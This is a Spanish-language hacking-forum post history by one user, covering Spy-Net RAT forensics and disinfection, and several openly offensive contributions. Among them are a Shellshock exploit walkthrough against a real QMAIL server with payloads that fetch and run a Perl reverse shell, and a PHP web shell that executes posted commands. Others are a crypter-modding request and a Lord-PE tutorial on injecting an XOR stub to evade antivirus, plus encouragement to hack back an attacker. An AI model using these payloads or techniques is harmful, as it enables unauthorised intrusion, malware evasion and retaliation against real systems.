Luego de esto abrimos con nuestro editor hexadecimal favorito el archivo .raw que creo DumpIT, como les dije el resultado sera algo bastante sucio y complicado de leer, por el principio de como funciona la RAM y la MEMORY REALOCATION que se encarga de "desfragmentar" la memoria en tiempo real casi como si fuera el garbage colector de JAVA con el fin de liberar memoria q no se este utilizando, y puedo enviar hacia donde mejor considere partes del codigo que queremos analizar, ya que internamente el STACK siempre mantiene un puntero que entrelaza todas las direcciones de memoria que organizan el binario en ejecución. Pero gracias a la opción "SEARCH" podemos buscar Strings por medio de todo el volcado.

La pregunta que nace es... ¿Qué buscamos? y para responder esto debemos pensar QUE SABEMOS

Lo que sabemos:

Nombres de los binarios infectados:
update.exe
Juego.exe
explorer.exe

Troyano: Spy-Net
Probablemente utilice algun servicio de refresco automatico de ip:
no-ip, dyndns, ddns, etc

Claves del Registro:
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\HKLM"
"Software\Microsoft\Windows\CurrentVersion\Run"
"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"

Utilicemos esta información para buscar sobre el volcado de memoria, con un poco de paciencia y arduo Análisis llegamos al siguiente resultado:


En este momento podemos estallar de alegría, ya que hemos obtenido información muy importante

Informacion Obtenida:

El Malware se conecta a 2 host distintos
Una posible contraseña de autentificación del Malware
Un servicio ftp con Usuario y Contraseña (Probablemente donde se guarden los logs del keyloger)

Una visita al ftp revela que hemos dado con el registro de logs del atacante, lo que basicamente significa que hemos obtenido lo mas importante de una botnet, todos los datos tipeados por las victimas (Usuarios, Contraseñas, CreditCards, HomeBanking, etc)


Desinfección:

En este paso nos haremos de la mano de Apate DNS, un Servidor DNS que nos permite redireccionar todo el trafico saliente hacia una dirección IP especifica, en nuestro caso nuestro "127.0.0.1" (No hay lugar como el hogar)


Luego de esto abrimos Spy-Net y configuramos el cliente con los datos que hemos obtenido

Puertos: 9667 y 5992
Pass: XXXXXX

y esperamos la conexión, en caso de que esta no se realice con exito antes de cuestionar la validez de la password, abrir CurrPorts, y cerrar las conexiónes establecidas por el rat para que este reconecte.


Desinstalamos el Malware de nuestra maquina, y ahora podemos dar caza al Atacante (robar o borrar sus logs y averiguar un poco mas de el)
para esto realizamos un ping para saber si alguno de los host isAlive:


El host esta activo realizamos un pequeño whois:


Vemos que el ISP que sirve esa dirección es Telefonica, ahora simplemente podemos llamar al ISP pedir junto con una denuncia la pc que estuvo ocupando ese ip por este periodo de tiempo, y asi poder llevar a la cárcel al dueño de esta botnet.

O... podemos indagar un poco mas con NMAP


Como podemos ver el atacante tiene varios servicios levantados, ahora toca buscar alguna vulnerabilidad en su sistema, adueñarse de su botnet y devolverle el favor de la infección. ¿Cual fue mi decisión....? Lo dejo a su imaginación ;)

Happy Hunting :)



#7
Análisis Estático Spy-Net

Mis mas allegados saben que hace un tiempo he empezado a aumentar mis fronteras en Desarrollo y Análisis de Malware, y me parecio interesante analizar de forma estática el conocido Spy-Net, y ver si podía lograr una desinfección exitosa. El resultado fue mucho mas satisfactorio de lo que esperaba.

Escenario: La victima ejecuta un binario de Spy-Net que prometía ser un juego en su pc, este no nota nada inusual nisiquiera una ventana de instalación en su pc,intenta nuevamente la ejecución pero nuevamente nada sucede y antes de decidirse a borrar el archivo se pregunta, estaré siendo victima de un malware. Y pone manos a la obra para Análisar Estaticamente el binario, y ver si entre sus strings, revelan alguna modificación al Sistema Operativo

Primero, intenta abrir el binario con un editor hexadecimal:


Al bajar unas pocas lineas de codigo se encuentra con que el binario tiene algunos sectores comprimidos con UPX.
Intenta visualizar sin exito algún string desofucado con OllyDBG:

(En la imagen se puede apreciar que todos los Strings del archivo estan ofuscados)

Para asegurar su idea Analiza RDG Packer Detector:


Esto confirma que detrás del binario hay algo empaquetado y protegido con UPX, además el resultado no denota que el binario este bindeado, por lo que cierra la coincidencia que luego de la ejecución del binario no apareciera ninguna ventana de instalación

Se prepara para desempaquetar una copia del archivo para poder Análizar mas profundamente los Strings del binario


Luego de esto analiza nuevamente el fichero con RDG Packer Detector:


Esto confirma que efectivamente fue victima de un malware, en este caso Spy-Net, el mismo esta programado en Delphi y su binario esta protegido por Private Exe Protector. Luego de una busqueda sin resultados por un Desofucador de Private Exe Protector y por darse a la caza con un Análisis Dinámico, decide pasar el archivo por DeDe (Delphi Decompiler) con el fin de lograr ver algo que haya quedado sin Ofuscar.


Al bajar un poco, resalta una linea que todo aquel que ha desarrollado un malware en su vida, reconoce...

Software\Microsoft\Windows\CurrentVersion\

Esta famosa linea con alguna que otra variante, indica la posible ejecución de un programa al momento del inicio del sistema.

Preocupado la victima decide Analizar mas profundamente las strings del binario con OllyDBG


Entre las lineas que encuentra resaltan las siguientes:

Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Luego de esto pasa a buscar que hay en el registro (regedit.exe) de Windows en esas direcciones


Encuentra la "coincidencia" que en ambas las rutas, encuentra un registro que apunta hacia "C:\Windows\EIS\update.exe".

Acto seguido ejecuta el explorador de archivos y se dirige hacia esa dirección


Encuentra el famoso archivo update.exe y al no estar seguro si este archivo realmente es o no parte del Sistema Operativo, realiza una serie de comprobaciones.

Una muy basica, compara el peso de "update.exe" con el peso del archivo original que descargo


Se sorprende un poco y ve que ambos archivos pesan EXACTAMENTE lo mismo. Pero antes de dar fe ciega de que este archivo es el troyano oculto de Spy-Net, decide hacer una comprobación binaria profunda con Hex Workshop para asegurar de que ambos archivos son binariamente iguales, y no solo una coincidencia de peso.

Ambos archivos son binariamente iguales, lo que garantiza que update.exe es el binario oculto de Spy-Net.

La Victima se alegra un poco, y decide realizar una desinfección manual.

Desinfeccion:
Elimina ambos binarios.
Elimina las claves en el registro de windows.
Destildar todo lo que apunte a update desde msconfig.

(Esto es para eliminar las entradas destildadas en el msconfig)
Elimina todas las carpetas del registro que hagan referencias al binario en las rutas:

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupfolder"
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg"

Para esto debe iniciar su pc en Modo Seguro al inicio.

Inicio Modo Seguro

Elimino Binarios

Elimino Entradas de Registro

Destildo entradas relacionadas en MSCONFIG

Borro Claves de configuración de MSCONFIG

Luego reinicia y puede garantizar una desinfección correcta por medio de un Análisis Dinámico.
En este caso dejo una imagen del Panel de Control, antes y después del Análisis.

Antes del Análisis:

Después del Análisis:


Happy Hunting!


#8
Noticias Informáticas / Inseguridad CTF365
Noviembre 25, 2014, 04:23:11 PM


Ayer me llego una interesante noticia donde un puñado de hackers vulneraron el sistema principal del ya muy conocido laboratorio virtual de pentesting No tienes permitido ver los links. Registrarse o Entrar a mi cuenta donde muchos interesados del tema estábamos registrados.

En fin, el tema va en que han accedido a la db y han publicado los datos de los usuarios registrados:

Emails y nicks: (Si están en esta lista, es recomendable que cambien las contraseñas de sus cuentas y tener cuidado porq probablemente nuestros datos estén siendo usados en alguna campaña de spam)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Comunicado oficial del sitio: (según los administradores del sitio, no se sabe si los atacantes llegaron a obtener las contraseñas)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#9
Dudas y pedidos generales / Sacar avg 2015 ayuda!
Octubre 22, 2014, 04:41:52 PM
Hace unos dias me pico el bicho del malware ya que también soy programador con titulo, y he tenido mis roces con en desarrollo de malware desde 0, peeero ahora ando estudiando un poco el mundo del moding y realmente se poco y nada, logre sacar Avast con dsplit y AVfucker, y ahora estoy con AVG 2015

AVG me larga la firma "Toyano Injector.BLB" y acorrale la firma en la cabecera en el offset 60, en el byte 8B, pero modificar el offset me rompe el binario, intente con rit, pero hasta donde entiendo no puedo hacer rit sobre la cabecera y de todas formas al intentarlo y llevar la funcion a una sección NOP, de todas formas rompe el binario

Offset 60:

Instrucciones en el Offset 60:


PD: Estoy modeando ACrypter de la sección malware database
#10
Bugs y Exploits / Explotar Shellshock en smtp QMAIL
Octubre 02, 2014, 12:40:27 AM
ShellShock Exploit PoC

Bueno antes que nada le agradezco a hielasangre por sacarme el bloqueo :P

Como he leido mucho de shellshock y nada sobre como explotarlo, les dejo un pequeño tutorial de como explotarlo un poco más allá que en los clasicos user-agent (que siendo realista muy pocos servidores utlizán cgi-scripts y menos hechos en bash)

Esto afecta a los servidores smtp de QMAIL por no validar correctamente el encabezado FROM MAIL:<> permitiendo ingresar como email cualquier string,
nosotros aprovecharemos esto para lograr ejecutar nuestro codigo arbitrario con la ayuda de shellshock

Para el PoC use este servidor que encontre vulnerable: 200.80.35.42

Empezamos!

1) Dejamos a la escucha el puerto donde queremos recibir la conexión entrante:

nc -vv -l -p 9669



2) Nos conectamos al servidor smtp y realizamos el ataque

nc -vv 200.80.35.42 25

Entablamos toda la negociación necesaria con el servidor SMTP, esto consta de 4 pasos

.helo me (Le comunicamos al servidor que necesitamos usar su servicio)
.mail from:<[email protected]> (establecemos la dirección de email remitente) ---> ACÁ INYECTAMOS NUESTRO CODIGO SHELLSHOCK
rcpt to: <> ([email protected]) (establecemos la direccion del receptor del mensaje)
data (Comenzamos a escribir el email)
Subject: Titulo. (Establecemos el titulo del mensaje y lo terminamos con un .)
Mensaje. (Escribimos el mensaje terminado con un .)

FIN (Esperamos que se complete el proceso)

(Para mas info de SMTP visitar No tienes permitido ver los links. Registrarse o Entrar a mi cuenta )

Bueno como mas arriba dije el error radica en que QMAIL no valida que lo ingresado en MAIL FROM sea un email
entonces en mi caso inyecto el siguiente payload shellshock:

() { :;}; /usr/bin/telnet No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 9669

Al terminar el proceso de QMAIL deberia ejecutar el codigo arbitrario inyectado en la variable global de la función de shellshock y devolvernos una conexion entrante a nuestro puerto a la escucha



Esto significa q con un poco de conocimiento hemos logrado ejecutar codigo arbitrario en el servidor mediante un servidor vulnerable explotando un error de validación de SMTP, en este simple PoC me devolví una conexión telnet, pero podriamos jugar con los comandos para subir un reverse shell y ganar acceso al sistema, veamos como!

Esta vez vamos a ejecutar codigo arbitrario para descargarnos de nuestro servidor web un reverse shell en perl

Payload:

() { :;}; /usr/bin/wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:8080/rsh.perl



esperamos un tiempo considerable para asegurarnos la descarga de nuestro script, ponemos a escuchar nuevamente nc



y ejecutamos nuestro archivo perl

() { :;}; /usr/bin/perl rsh.perl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 9669 -l



y ahora tenemos acceso al sistema! JA! si indagamos un poco y largamos un whoami! vemos que es un kernel 2.6



Intentemos rootearlo, yo en mi caso use un AutoRoot en perl que encontre por internet.

wget No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:8081/AutoRoot.pl



Pasemos a ver si tenemos suerte!

Ejecutamos los No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y vemos q sucede (yo en mi caso moví ambos archivos a otra carpeta)

perl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y esperamos!

En este caso no hemos tenido suerte, lo que no descarta que buscando un poco podamos hacer un rooteo manual del servidor :P (De hecho ya lo hice)
pero eso quedara para otro tutorial! (Estoy haciendo el tutorial mientras realizo la intrusión)



No nos olvidemos de borrar todas nuestras huellas!

Y despues de esto preguntaran, cuantos sitios vulnerables a shellshock existen, bueno yo me ayude un poco de mi amigo SHODAN



35500 posibles target vulnerables solo por QMAIL SMTP!!! Saludos

Happy Haking[/color]
#11
Bugs y Exploits / SQLi Site Scanner (SQPY)
Octubre 01, 2014, 01:27:04 AM
Bueno hace mucho vi uno parecido en php, y con un poco de tiempo arme el mio en python, funciona con bing dorks. Espero les sirva.

El script tiene 5 keys de bing, estaria bueno q se armaran varias uds para alimentar el modo random key porq cada key permite 5000 peticiones por dia.



Guarda un logs con los sitios potencialmente vulnerables, se puede ver haciendo:

"python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --vulnerable" o desde el archivo vulnerable.txt ----> con este archivo se puede vincular a sqlmap y hacer auditorias totalmente automatizadas

Es un proyecto abandonado OpenSource asi que el que quiera retomarlo bienvenido sea, con un poco de maña y expresiones regulares se pueden agregar miles de vectores de inyección y hasta vincular la app con sqlmap, cualquiera que quiera seguir con el proyecto que me mande un MP si necesita ayuda

EDIT: me había olvidado del link
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Capturas:

Funcionando:


Vulnerables encontrados en mis tiempos libres:

#12
Shells / Reverse Shell Django
Octubre 01, 2014, 12:40:08 AM
Bueno hace mucho q no me paso por acá, pero hace unos días me toco auditar un servidor Django, y entre esas cosas de la vida, me decidí a armar un reverse shell en Django dado al poco contenido de pentesting en servidores python, les dejo el aporte.

Para ejecutarlo es necesario tener Django instalado:
(La shell es multithreading puede servir shell a infinita cantidad de PCs/Puertos)

pip install Django

Despues nos vamos a la carpeta y ejecutamos un "python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta runserver ip:port"

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta






#13
Shells / RPI SHELL v1.0 by HD_Breaker
Febrero 07, 2014, 04:11:37 AM
Bueno hoy les dejo el primer avance de esta shell que estoy desarrollando!



Código: php


<html>
<head>
</head>
<body bgcolor="Black">

<table border="1" bordercolor="#00FF00" style="background-color:#000000" width="100%" height="100%" cellpadding="3" cellspacing="3">
<tr>
<td style="vertical-align: top;" width="15%"><?php

echo "<FONT COLOR=RED FACE='Geneva, Arial' SIZE=3><pre>      .~~.   .~~.
     '. \ ' ' / .'
      .~ .~~~..~.
     : .~.'~'.~. :
    ~ (   ) (   ) ~
   ( : '~'.~.'~' : )
    ~ .~ (   ) ~. ~
     (  : '~' :  ) RPI
      '~ .~~~. ~'
          '~'</pre></FONT>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Memory Status:</font><br>";
exec("free -m",$Memoria);
foreach ($Memoria as $key) {
if (strpos($key,'Mem:') !== false) {
$datos = explode('           ', $key);
$var = explode('       ', $datos[1]);
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Total: $var[0]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Used: $var[1]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Free: $var[2]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Shared: $var[3]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Buffers: $var[4]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Cached: $var[5]<br>";
echo "<br>";
}
}

echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>SD Memory Status:</font><br>";
exec("df -h /dev/root",$sd);
$datosSD = array();
foreach ($sd as $key) {
if (strpos($key,'/dev/root') !== false) {
$data = explode(" ", $key);
foreach ($data as $element) {
if (!is_null($element)) {
array_push($datosSD, $element);
}
}
}

}
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Filesystem: $datosSD[0]<br>Size: $datosSD[7]<br>Used: $datosSD[9]<br>Avail: $datosSD[10]<br>Use%: $datosSD[12]<br>Mounted: $datosSD[13]</font>";
echo "<br>";

exec("cat /proc/cpuinfo |grep Serial",$Serial);
echo "<br>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>$Serial[0]</FONT>";
echo "<br>";

exec("/opt/firmware/opt/vc/bin/vcgencmd measure_temp",$Temp); //Esto en raspbian cambia ahora esto no funciona
echo "<br>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>$Temp[0]</FONT>";
echo "<br>";
#echo "<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Iniciar Descarga</FONT>";
?>

<br>
<a href="index.php?Iniciar=Descargar" onClick="Submit()"><font color="#00FF00">Iniciar Descarga</font></a>
<!--<input id="Iniciar" name="Iniciar" type="submit" value="Descargar"/>-->

</td>

<td style="vertical-align: top;"><p><center><h1><FONT COLOR=GREEN FACE='Geneva, Arial'>RPI Shell</font></h1>
<table border="1" bordercolor="#00FF00" style="background-color:#000000" width="100%" cellpadding="3" cellspacing="3">
<tr>
<td><textarea style="margin: 2px; width: 1111px; height: 480px; color: green; background-color: black; vertical-align: top; horizontal-align: left"><?php exec($_POST['cmd'],$CMDResponse); foreach ($CMDResponse as $line) {echo "$line\n";}?></textarea>
<form method="POST" action="index.php">
<input type="text" id="cmd" name="cmd" style="width:93%; color: green; background-color: black;"/>
<input type="submit" id="ejecutar" name="ejecutar" value="Execute"/>
</form>
</td>
</tr>
</table>


</td>


</center>
</tr>
</table>

</body>
</html>


<?php
$Start = $_GET["Iniciar"];
if ($Start=="Descargar") {
        #Esto no hace nada todavia, solo ejecuta algun modulo python que subamos
exec("python *.py",$Salida);
echo "$Salida[0]";
}
?>




#14
Hacking / Faraday: Coperative Pentesting
Enero 27, 2014, 09:28:17 PM
Faraday

Hoy tenia ganas de escribir en el foro, ya que hace mucho no pasaba por estos pagos, y sentía que me estaba fallando en mi misión de educar a las personas sobre la importancia de la seguridad informática y la protección de los datos que dejamos por internet.

Que es Faraday?

Faraday es un framework que nace de la necesidad de realizar pruebas de penetración de forma cooperativa, cosa que de momento solventaban algunas aplicaciones como Dradis, que generaban un entorno similar a Sharpoint de Microsoft, donde cada pentester podía dejar constancia de su trabajo y compartir las vulnerabilidades que encontraba.

Faraday presenta un futuro en el Pentesting Grupal, ya que por medio de CouchDB y un sistema de replicación de datos, permite de forma instantánea y en tiempo real compartir los datos de una intrusión, reduciendo al mínimo la perdida de tiempo al momento de generar reportes y distribuir la información entre el grupo de pentesters.

Esquema de como funciona

  Pentester 1<---------------Servidor CouchDB--------------->Pentester 2
Couch Replica 1--------------------->|<---------------------Couch Replica 2

El servidor CouchDB brinda un espacio de almacenamiento compartido similar a un SVN el cual alimenta las replicas en las bases de datos locales de cada pentester. A su vez, a medida que Faraday Encuentra diferencias entre las DB Replicas y la DB Servidor, actualiza el Servidor con los datos nuevos de las replicas, disparando nuevamente el ciclo de actualización para el resto de las replicas

Por ejemplo, dado un Servidor nuevo vació, 2 pentester se conecta, se genera una replica vacia en su entorno local de trabajo.
El Pentester 1 encuentra un SQL Injection, automaticamente se actualiza el Servidor y por consecuencia se actualiza la replica local del Pentester 2
A su vez, el Pentester 2 encuentra un XSS, esto dispara la actualizacion del Servidor y por consecuencia la actualizacion de la replica del Pentester 1. Una maravilla de los sistemas distribuidos!!!

Como se trabaja con Faraday?

Para auditar con Faraday no necesitas ningún cambio de concepto, simplemente utilizas las herramientas que acostumbras y ataques manuales, el Framework captura las respuestas de las herramientas en su terminal y va generando un patrón de datos que se almacena en CouchDB.
Además, como todos sabemos, los pentester que nos arrimamos a la profesionalidad del trabajo, solemos auditar de forma manual, y Faraday también contempla esto, permitiéndonos añadir Notas, Vulnerabilidades y Credenciales de forma manual con un simple click derecho!!!

Por lo que podemos auditar Cooperativamente, utilizando herramientas como Nmap, Sqlmap, nikto, etc dejando que la herramienta trabaje sola y capture las respuestas, mientras que a la vez, auditamos manualmente y agregamos notas, como datos de VPN, contraseñas de correos electrónicos, información social, comentarios, vulnerabilidades que no encuentran los scanners, acotaciones, hasta exploits codeados por nosotros mismos.

Además de su increíble versatilidad, me deslumbra su poderosa flexibilidad, ya que si no estamos a gusto o simplemente queremos incluir una nueva herramienta que Faraday no captura, podemos nosotros mismos codear el plugin I/O y agregarlo al Framework

Existen 2 tipos de versión en desarollo:

Comunity Edition & Professional Edition

Esta ultima permite generar reportes modulares web para realizar presentaciones a nuestros clientes.



Invito a todos los interesados a probar su Comunity Edition, yo estoy sorprendido por el potencial de esta herramienta

Dejo algunas capturas:




Documentación Oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Github: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Bueno hace mucho q no aporto por acá, ya que el laburo me deja casi sin tiempo:

Hoy les traigo algo no muy dificíl pero que me resulto curioso: un SQLI por medio de un Lector QR o un Lector Externo Laser de Barcode

Me parece interesante compartir, ya que es algo q pocos se imaginan, un SQLI en una aplicación totalmente Nativa Android con motor SQLite (SQLI no es solo para Webs)

Dejo algunas Capturas:







ZonalCUYO es el Usuario y el codigo Hexa (0x) es el ValidatorID con el cual la app accede a los WebServices
#16
Underc0de / Reto Official Pentest Underc0de
Agosto 27, 2013, 04:12:17 PM
Reto Pentest Underc0de

Objetivo:

Vulnerar un servidor real, robar un archivo y enviarme por MP a HD_Breaker la respuesta y codigo de este archivo.

Para realizar esto, se pondrán a prueba todas las habilidades del Pentester, desde la recopilación de información, busqueda de vulnerabilidades web y vulnerabilidades a nivel capa de Red y la Estrategia para vulnerar el servidor.

Reglas:

El usuario que lo solucione tiene prohibido distribuir la respuesta, (si eso pasa debería ser baneado).
No se permite el testeo por TEAM.
Ademas del código del archivo robado, el Pentester debe enviar un archivo PDF, con los pasos que realizo, capturas de pantalla y un informe de como se realizo todos los pasos del Pentestig. Tal cual el Pentester enviaría un informe de vulnerabilidades a la Empresa que lo Contrate.

Premios:

Se premiara a los 2 primeros en resolver el reto:

"Un Dominio .com .org o .net a elección"

Hago hincapié en el informe ya que la propuesta es preparar a los participes a ser organizados y a elaborar un proyecto profesional el cual una empresa le pide a su contratado, sin este requisito el Pentester no sera tomado en cuenta.

Arranca el día: Viernes 30 de Agosto.

End of WarGame: Martes 3 de Septiembre hasta las 00 hs GTM-3

Host: "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"


#17
Expandir la Sección de un Ejecutable con Lord-PE

Bueno dado que descubri un mundo que realmente me encanto, algo que realmente desconocia, que es la edicion de binarios
he decidido hacer este tutorial para ayudar a todo aquel que desee o necesite incurcionar en este mundo, tanto sea para
hacerlo manualmente o para llevarlo a la programacion de cripters.

Este tutorial consiste en hacer mas espacio en la seccion Ejecutable del binario con el fin de poder agregar nuestra
rutina de des/encriptacion y que esta se cargue directamente con el PE original del binario y no se necesario programar un RUN PE

Por que realizar esto si puedo agregar una nueva seccion y almacenar mi codigo de des/encriptacion en ese espacio?

Primero que nada, hay binarios que no nos permiten agregar nuevas secciones.
Segundo y mas importante: No alteramos la estructura principal del binario por lo que aumentamos las posibilidades de no ser detectados por algunos avs


Decidi hacer esto bajo Lord PE ya que no encontre documentacion de como utilizarlo.

Requisitos Previos:
Conocer el Formato PE: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

SpyNet-2.6:   No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Lord-PE:      No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hex Workshop: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
OllyDBG

Tabla LordPE:

ROffset = PointToRawData
Rsize    = SizeOfRawData
Vsize   = VirtualSize
VOffset = VirtualAdrress
Flags   = Characteristics

Comencemos:

Primer Paso: Recopilar Datos Importantes:

Abrimos Lord-PE damos click en PE-Editor y abrimos nuestro Server.exe
Anotamos estos 2 datos:


FileAlignament: 200
SectionAlignament:1000


Hacemos click en Sections:

Aqui se pueden ver todas las secciones del binario


Nosotros vamos a Expandir la seccion donde se encuentra el codigo ejecutable, en este caso es la seccion CODE (por lo general es la seccion .text)

Anotamos el PointerToRawData y SizeOfRawData

ROffset:400
Rsize:B200

La suma de estos 2 campos nos va a dar el final de la seccion CODE (400 donde Empiesa y B200 donde termina)

ROffset + Rsize = B600

Hacemos Click Derecho sobre la seccion CODE y hacemos click en "Edit Section Header" clickeamos donde dice Flags y daremos permisos de Escritura sobre esta seccion
Ya que Aqui Agregaremos posteriormente nuestra Seccion de Des/Encriptacion para lo cual esta seccion debe indispenzablemente tener permisos de lectura y escritura

Seleccionamos la Opcion Writeable



Cerramos Lord-PE y editamos el Server con Hex Workshop:

Nos vamos a la seccion B600 esto lo hacemos colocando sobre la barra superior de GoTo 0xB600


Como vemos en la imagen justo donde esta marcado el 00 es el final de la seccion CODE, si vemos un poco mas arriba
vemos una seccion de 00, en la cual podriamos situar un des/cifrador ASM pero si el algoritmo es complejo estariamos cortos de espacio:
(Devemos Recordar que se deben dejar bytes de contencion al principio y al final de la seccion donde injectaremos nuestro ASM)

Este es el espacio que nos queda dejando tan solo 3 bytes de contencion al inicio y al final del espacion de esta seccion:


Es por esto que expandiremos esta seccion:

Para hacer esto debemos decidir cuantos bytes queremos agregar y alinearlos con multiplos de FileAlignament:

Por Ej:

Si queremos agregar 150 bytes y nuestro FileAlignament es 200, deberiamos Agregar 200 bytes (FileAlignament*1), de los cuales consumiremos solo 150
Si queremos agregar 250 bytes y nuestro FileAlignament es 200, deberiamos alinear a 400 bytes (FileAlignament*2)

En este Tutorial Agregaremos 200 bytes con esto estamos sobrados bajo mi criterio.

Situados en 0xb600:

Boton Derecho -> Inserts

Number of Bytes = 200 Hex
Fill with NOPS (90)


Como podemos ver hemos agregado 200 bytes de NOPS aqui esta nuestro espacio para agregar nuestra funcion Des/Encriptadora


Al Agregar este espacio el HEAD PE ya no contendra los datos correctos para la ejecucion del Archivo en memoria, por lo que
el archivo rompera automaticamente despues de guardar la Edicion.


Cerramos Hex Workshop y vamos a pasar a la etapa de reparar el binario.

Reparando el Binario:

Primero que nada Abrimos Lord-PE y nos Vamos al Apartado PE-Editor (Abrimos nuestro Server Crash) y click en Sections:

Ahora comienza lo interezante, nosotros hemos agregado 200 bytes a la seccion CODE.

por lo que debemos avisarle al PE de estos cambios para que mapee los datos correctamente en Memoria, para esto vamos a editar:

VirtualSize y RawSize (Size_Of_Raw_Data)

Click derecho sobre la seccion CODE y click en Edit Section Header:


Entramos a este Menu:


Bueno llego la Hora:

Tanto VirtualSize como RawSize deben incrementarce la cantidad de bytes alineados que expandimos la seccion.
En nuestro caso 200 bytes:

Sumamos 200 a los valores de VirtualSize y RawSize quedando:

VirtualSize =  B1C8 + 200 = B3C8
RawSize       =  B200 + 200 = B400   



Los que se Tomaron el tiempo de leer el PDF de The Swash sobre como funcionan los ejecutables de Windows (PE)
Sabra que el PointerToRawData de cada seccion varia como la sumatoria de ROffset (PointToRawData) y RSize de la seccion anterior

Entonces hay que modificar 2 cosas de todas las secciones posteriores:

Primero que nada: VirtualAdress: Unicamente si la sumatoria de VirtualAdress (VOffset) y RSize (SizeOfRawData) de la seccion Ampliada (CODE) es mayor
que la VirtualAdress de la seccion Actual (es un poco dificil de entender esta Parte simplemente calculamos la sumatoria entre VOffset y RSize de Code y lo comparamos con Voffset de DATA y asi sucesivamente con todas las secciones)

En nuestro caso esto no se cumple para ninguna Seccion.

Segundo: Debemos Actualizar el PointerToRawData (ROffset) de todas las secciones posteriores como la sumatoria de ROffset y RSize de su Seccion anterior Directa.

Entonces:

DATA.ROffset = Code.ROffset+Code.RSize
BSS.ROffset  = DATA.ROffset+DATA.RSize

.idata.ROffset  =  BSS.ROffset+BSS.RSize
.tls.ROffset    = .idata.ROffset+.idata.RSize
.rdata.ROffset  = .tls.ROffset+.tls.RSize
.reloc.ROffset  = .rdata.ROffset+.rdata.RSize
.rsrc.ROffset   = .rsrc.ROffset+Code.RSize

Quedando:
DATA.ROffset = 400+B400=B800
BSS.ROffset  = B800+400=BC00

.idata.ROffset  =  BC00+0000=BC00
.tls.ROffset    =  BC00+0C00=C800
.rdata.ROffset  =  C800+0000=C800
.reloc.ROffset  =  C800+0200=CA00
.rsrc.ROffset   =  CA00+0C00=D600

Editamos ROffset de todas las secciones con los valores calculados, guardamos los cambios y cerramos LORD-PE
En este al contrario de otros Tutoriales de Edicion Manual no tendremos que editar el SizeOfImage ya que Lord-PE lo calcula Automaticamente

Actualizamos nuestra Carpeta y vemos ya como el icono vuelve a la normalidad y se puede ejecutar el archivo Correctamente:



Bien Ahora tenemos Nuestro ejecutable con la Seccion Code Ampliada y con permisos de ejecucion, lectura y escritura.

Ahora pasaremos a Crear nuestra Rutina de Encriptacion sobre el espacio que nos hicimos en la Seccion Code:


Ejecutamos OllyDBG y abrimos nuestro Servidor:

Damos Click Derecho --> View --> Executable File


Vamos a buscar el espacion que nos hicimos, si recordamos nosotros agregamos 200 bytes a partir de 0xb600
por lo q buscaremos esa direccion con OllyDBG

Ctrl+G y cologamos B600


Como vemos nos encontramos todos nuestros NOPS clickeamos sobre el primero, Boton Derecho --> View Image on Dissambler


Aqui Comenzaremos a ingresar nuestra rutina de Encriptacion:

Rutina Xor Simple (Code By [Zero]):

Código: php

;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh            ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                                           ;Nos desplazamos al siguiente byte
cmp eax,ebx                                  ;Comprobamos si es el último
jne 401234h                                  ;Si no lo es, continuamos con el siguiente
ret                                                 ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                               ;Si lo es, saltamos el Entry Point Original


Bueno en este Codigo las direcciones 402000, 403000, y 401234 deben cambiarse por las correspondientes al inicio y al final
de lo que queremos cifrar pero en sus valores de memoria Virtual

Para lograr esto, debemos:

Primer Dato:

Restarle a la direccion fisica donde comienza la seccion .CODE el ROffset (Coinside con el inicio en este caso porq es la primera seccion)
Nuestra seccion Code comenzaba en 0x400 entonces

0x400-0x400 = 0

Le sumamos el VOffset y el ImageBase: (Todos estos datos se obtienen con Lord-PE)

0+1000(Voffset)+400000 = 401000

Segundo Dato:

Este es el HASTA DONDE queremos Sifrar, si vemos el tutorial de zero el trabaja con un valor anterior a donde terminaba
la seccion CODE (B600) ya que no Expandio la Seccion, en nuestro caso al haber expandido la seccion code, podemos trabajar
con mas comodidad y decirle que cifre hasta B600-1 (Donde terminaba la seccion CODE y agregamos nuestros 200 bytes)

entonces el segundo dato es:

